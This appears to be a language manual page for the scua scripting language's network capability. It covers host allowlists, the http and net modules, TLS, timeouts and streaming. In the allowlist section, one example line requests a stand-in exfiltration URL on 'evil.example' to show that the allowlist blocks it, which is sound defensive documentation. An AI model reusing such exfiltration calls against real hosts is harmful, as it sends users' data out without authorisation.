Calling an API or fetching a URL needs the net
capability. Like file access, it's off by default: the http
module doesn't exist unless the host grants net, so network
access can't appear in a script — or leak into an embedded build —
unless someone deliberately turns it on. And when it's on, the host says
which hosts the script may reach.
#Granting the capability
From the CLI:
scua --allow-net script.scua # any host
scua --allow-net=api.example.com script.scua # only this host
scua --allow-net=api.example.com,cdn.example.com script.scua # an allowlist
Without --allow-net, import http is a
compile error, before a line runs:
$ scua script.scua
script.scua:1: module `http` needs the `net` capability, which this run was not granted — grant it with `--allow-net` on the CLI (a program that only serves needs `--allow-serve` alone), or the host's capability API when embedding
The CLI's HTTP client is built on Zig's standard library, with its
own pure-Zig TLS — so HTTPS works out of the box, with no system
curl or OpenSSL to install.
#Making requests
import http
import json
match http.get("https://api.example.com/status")
Ok(resp) -> print(`got {resp.status}, {len(resp.body)} bytes`)
Error(why) -> print(`request failed: {why}`)
end
resp.body is bytes,
not text, because a response can be an image or a zip as easily
as JSON — and nothing about the request tells the runtime which. That
has one consequence worth knowing before it bites you: you cannot put it
straight into a {…} interpolation or hand it to a
str.* function. Either decode it, which takes bytes
directly:
let data = json.decode(resp.body)?
or convert it to text, which validates the UTF-8 and so
returns a Result:
let text = bytes.to_string(resp.body)?
http.request(url, opts?)→Ok({ status, headers, body })orError({ kind, message }).optstakesmethod(default"GET"),headers,body, andmax_bytes(the decoded-response cap, 8 MiB by default).http.get(url, opts?)andhttp.post(url, body, opts?)are the same thing with the method fixed.
The response body is bytes,
not a string — a response can be an image as easily as JSON.
json.decode takes bytes directly, and
bytes.to_string converts when you want text.
#Headers
Pass them as a table. Names are lowercased on the way out and on the
way in, so read resp.headers["content-type"] whatever case
the server used, and duplicate response headers arrive comma-joined:
let resp = http.post("https://api.example.com/v1/messages", payload, {
headers = { "x-api-key" = key, "anthropic-version" = "2023-06-01" },
})?
print(resp.headers["retry-after"])
A few names are the client's to set, and it refuses them rather than
sending a duplicate or a lie: host,
connection, content-length,
transfer-encoding, accept-encoding,
content-encoding, te, upgrade,
and expect. A request with a body and no
content-type is sent as application/json.
#Errors you can branch on
Error carries a kind — a
stable token — and a human message. That's what lets a
retry policy retry the right things: a DNS blip is worth another go, a
rejected certificate never is.
match http.get(url)
Ok(resp) -> use(resp)
Error(e) when e.kind == "dns" or e.kind == "connect" or e.kind == "timeout" -> retry_later()
Error(e) -> give_up(e.message)
end
The kinds: not_allowed, bad_url,
bad_header, bad_method, dns,
connect, tls, tls_untrusted,
timeout, too_large, protocol,
unsupported, interrupted. Match on
kind; print message.
#Deadlines
Every request has one, covering the whole exchange — connecting, the TLS handshake, sending, and reading the response. It defaults to 120 seconds:
let resp = http.get(url, { timeout_ms = 5s })? -- a health check should give up quickly
let slow = http.post(url, payload, { timeout_ms = 5min })? -- a long completion should not
An expired deadline is Error({ kind = "timeout" }), and
the connection is closed rather than left running.
Whoever runs the script can set a bound for the whole run:
scua --allow-net=api.example.com --http-timeout=30000 script.scua
A per-call timeout_ms may tighten that
bound but never loosen it — if the run says 30 s and the script asks for
5 minutes, it gets 30 s. That way an operator can bound someone else's
script without editing it. timeout_ms = 0 asks for no
deadline, which the run-wide bound still constrains if one is set.
#Reading a response as it arrives
http.get and friends wait for the whole body. For
Server-Sent Events, NDJSON, or any long response you want to process
while it streams, http.open stops at the response head and
hands you the body as a stream:
let o = http.open(url, { method = "POST", body = payload,
headers = { accept = "text/event-stream" } })?
if o.status != 200 then
http.close(o.stream)
return Error(`server said {o.status}`)
end
while true do
match http.read(o.stream, 8192)
Ok(chunk) -> do
if len(chunk) == 0 then break end -- empty bytes: the body ended cleanly
feed(chunk)
end
Error(e) -> break -- a failed read closes the stream for you
end
end
http.close(o.stream)
- Empty bytes mean the body ended cleanly. A
transport failure is an
Errorinstead — and the stream is closed for you, so a dropped connection can't leave a request running. http.closeis how you cancel. There's no protocol-level "stop" for a streamed response; dropping the connection is what makes a server (or a model) stop generating. Safe to call twice, and streams close automatically when the partition is torn down.- Chunks split anywhere — including mid-character —
so a chunk is
bytes, not text. Buffer withbytes.concat, find your delimiter withbytes.find, and only convert a complete line withbytes.to_string. - With
--io=async, opening and reading both wait without blocking: other actors keep taking turns while the request is in flight and while the stream is idle between chunks. Without it, a read blocks until bytes arrive, which is fine for a script whose whole job is the stream and wrong for a server. - Parsing the frames is yours, deliberately: providers disagree about
how a stream ends (
data: [DONE], anevent:marker, or just closing), so the runtime hands you the bytes rather than picking a favourite. SSE framing is about 20 lines.
#Redirects
The client never follows one. A 3xx comes back as an ordinary
Ok response — the request succeeded, the server said "look
elsewhere" — so you decide:
match http.get(url)
Ok(resp) when resp.status >= 300 and resp.status < 400 -> print(`moved to {resp.headers["location"]}`)
Ok(resp) -> use(resp)
Error(e) -> print(e.message)
end
That's deliberate. Following a redirect automatically would take you
to a host the allowlist never approved; re-requesting explicitly means
every hop goes through the same check. Treat location as
what it is — a string the server chose.
A request is fallible, not fatal. A connection
that's refused, a host that times out, a TLS failure, a URL that doesn't
parse — every one comes back as an Error value you match
on, exactly like json.decode. It never
crashes the script. So the ? operator chains requests
cleanly:
fn latest_version()
let resp = http.get("https://api.example.com/version")? -- Error short-circuits out
return json.decode(resp.body) -- already Ok(value) or Error: pass it on
end
A 404 or 500 is not an Error — the
request succeeded, the server just answered with that status.
Nor is a 3xx. Check resp.status when you care:
match http.get(url)
Ok(resp) when resp.status == 200 -> use(resp.body)
Ok(resp) -> print(`server said {resp.status}`)
Error(why) -> print(`could not reach it: {why}`)
end
If all you need is whether the request got through,
http.get(url) matches Ok is a boolean.
if http.get(url) then is an error, not a shortcut: the
Error for a refused connection is a value too, so it would
count as success.
#The allowlist is a boundary
If you grant --allow-net=api.example.com, a request to
any other host comes back as an Error — before a
packet leaves the machine:
let r = http.get("https://evil.example/exfiltrate") -- Error("host is not in this run's net allowlist")
So even a script you trust with network access can only talk to the
hosts you named. Grant a tight allowlist and that's the script's entire
reach — auditable from the command line, not buried in the code. A bare
--allow-net (no list) allows any host; use it for
first-party scripts, and a specific allowlist for anything you're less
sure of.
#Raw TCP sockets
When you need to speak a protocol the http module
doesn't — a line-based service, a database wire protocol, something
custom — the same net capability gives you raw TCP via the
net module. It's gated and allowlisted exactly like
http: import net needs
--allow-net, and net.dial checks the host
against the allowlist.
import net
match net.dial("example.com", 80)
Ok(conn) -> do
net.write(conn, "GET / HTTP/1.0\r\nHost: example.com\r\n\r\n")
match net.read(conn, 256)
Ok(data) -> print(data) -- up to 256 bytes; "" means the peer closed
Error(why) -> print(why)
end
net.close(conn)
end
Error(why) -> print(`could not connect: {why}`)
end
net.dial(host, port, opts?)→Ok(connection)orError. The connection is an opaque, non-sendable handle: you can't pass it to another partition in a message — the runtime refuses to copy it — so authority over a live socket can't leak across an isolation boundary.net.read(conn, max)→Ok(bytes)(up tomax; an empty string means the peer hung up) orError.net.write(conn, data)→Ok(bytes_written)orError.net.set_timeout(conn, limit)→Ok(nil). Limits how long each later read and write may wait; see Time limits below.net.close(conn)→Ok(nil). Connections are also closed automatically when the partition is torn down, so a leaked handle won't hold a socket forever — but close them when you're done.
Reach for http for ordinary requests; reach for
net when you genuinely need the bytes.
#Encrypting a raw connection with TLS
Managed databases require TLS, so a raw socket on its own will not reach RDS, Neon, Supabase or Cloud SQL. Two verbs add it, and which one you want depends on the protocol:
| Protocol | Use | Why |
|---|---|---|
| PostgreSQL, MySQL, SMTP, IMAP, XMPP | net.dial then net.start_tls |
they negotiate in-band: you connect in plaintext, exchange a request, and only then encrypt |
| Redis, and anything HTTPS-shaped | net.dial_tls |
the server expects encryption from the first byte |
Getting this backwards is the mistake to avoid.
net.dial_tls to PostgreSQL cannot work: it
starts encrypting immediately, where the server is waiting for a
plaintext SSLRequest first, so the server rejects the handshake.
import net
-- The in-band shape. Connect, do the protocol's own negotiation, then upgrade.
match net.dial("db.internal", 5432)
Ok(conn) -> do
-- ... send the protocol's request to start TLS, read its one-byte reply ...
match net.start_tls(conn)
Ok(secure) -> print("encrypted") -- the SAME connection, now encrypted
Error(why) -> print(`could not encrypt: {why}`)
end
end
Error(why) -> print(`could not connect: {why}`)
end
net.start_tls(conn, opts?)→Ok(connection)orError. Encrypts an already-open connection and gives you the same handle back, sonet.read,net.writeandnet.closecarry on working. There is one connection and one identity: every reference you hold is now encrypted.net.dial_tls(host, port, opts?)→Ok(connection)orError. Exactlynet.dialfollowed bynet.start_tls.
Both check the server's certificate against your system's list of
trusted authorities, and check that it was issued for the host you asked
for. opts.servername overrides the name to check, and
defaults to the host you dialled, which is almost always what you
want.
Self-signed certificates need permission from whoever starts
the program. Private-network databases often use one, so there
is a way through, and it deliberately takes two steps: the call passes
{ insecure_skip_verify = true }, and the run must
be started with --allow-net-insecure=db.internal, naming
the hosts it applies to. Turning off certificate checking is a trust
decision, so it belongs with the person who decided what the program may
reach — not with a library three levels down that could otherwise switch
it off on a run you believed was verified.
It relaxes less than the name suggests: the hostname is still checked, so the option means "I do not have your certificate authority", not "I will talk to anyone". A self-signed certificate that does not name the host you are connecting to is still refused.
The hosts you name in the flag are the ones you
dialled, not whatever servername the code
passes. Those are the same thing unless a script overrides the name, and
keeping the flag on the dialled host is what stops a grant for one
machine being moved onto a connection to another.
Two things to know. TLS comes from the host, like the HTTP client
does, so a program embedded in something that supplies no TLS gets a
clear Error rather than an unencrypted connection. And the
list of trusted authorities is read once when the program starts, so a
long-running process will not notice a system update to it until
restarted.
#Time limits
Connecting gives up after 30 seconds by default, and
that includes the TLS handshake, so a server that never answers cannot
stall your program. Pass timeout_ms to change it for one
call, as with http, or timeout_ms = 0 for no
limit:
let conn = net.dial("db.internal", 5432, { timeout_ms = 5s })?
let cache = net.dial_tls("cache.internal", 6380, { timeout_ms = 2s })? -- connecting and the handshake together
let secure = net.start_tls(conn, { timeout_ms = 10s })?
Reading and writing wait as long as it takes unless
you set a limit on the connection. Some connections are meant to sit
quiet for a long time: a subscriber waiting for its next message would
be cut off by a default. Set one with net.set_timeout, and
it applies to each read and write after that:
net.set_timeout(conn, 5s)
match net.read(conn, 4096)
Ok(data) -> print(`got {len(data)} bytes`)
Error(why) -> print(why) -- net.read: timed out after 5s
end
net.set_timeout(conn, nil) -- no limit again
Running out of time is an ordinary Error, like any other
network failure, and the message names the call and the limit:
net.dial: timed out after 30s,
net.read: timed out after 5s. A read that times out leaves
the connection open, so you can try again. A write that times out may
already have sent part of the data, so close that connection rather than
carrying on with it.
The limit is a duration, like 200ms, 5s or
2min. A limit of zero or less is a mistake in the program
and stops it with an error. It is measured in real time, even under
--fast and scua test, because the other end of
a socket does not fast-forward.
#Other work runs while a connection waits
Under --io=async, a
net.dial, net.dial_tls, net.read
or net.write that would wait lets the program's other work
run — other tasks, other partitions, the other arms of a
wait_all, and other requests to an http.serve
server. Reads and writes on an encrypted connection park the same way.
Calls on one connection in the same direction still complete in the
order they were made, exactly as they do without the flag, so a second
read on the same connection waits for the first and gets the bytes after
it. Only the wall-clock time changes:
-- Four queries on four pooled connections: about one round trip under --io=async, four without it.
let replies = map_all(pool, fn(conn)
net.write(conn, query)?
return net.read(conn, 65536)
end)
Code the runtime calls back into (a wait_all inside
another wait_all's arm) still waits in place. If calls on
the same connection are already waiting when one of those runs, they run
first, in order, and then its own — the same order as without the
flag.
Two parts of connecting still take their time in place. The TLS
handshake of net.start_tls and net.dial_tls
runs where it was called, once the connection is open. And looking up a
host name is done by two threads the whole program shares, one lookup at
a time for each partition, so a partition whose names never resolve
cannot hold up the others: if 64 are already waiting, a dial returns
Error("net.dial: the resolver is busy") straight away
rather than queueing without end, so a burst of dials to new names is
better spread out or retried. A dial to an IP address skips the lookup.
See examples/net_overlap.scua
for a runnable version.
#Where the client comes from
The language core carries no HTTP or TLS code at all — the
http module's functions call out to a client the
host supplies. The scua CLI supplies one (Zig's
std.http); a C embedder supplies their own; a WebAssembly
host wires the runtime's HTTP. So the embeddable build stays small
and client-free, and each host uses the networking stack it already
has.
Requests are blocking by default, which is right for a straight-line
CLI script. When you're fanning out — many gets at once — pass
--io=async and the calls wait without blocking, so under wait_all/map_all
the waits overlap; the values are identical either way. Plain
http:// calls then also reuse their connections from one
call to the next (see --http-max-connections).
And http isn't only a client: the same runtime answers
requests too. See Serve HTTP requests for
http.serve and the separate serve grant.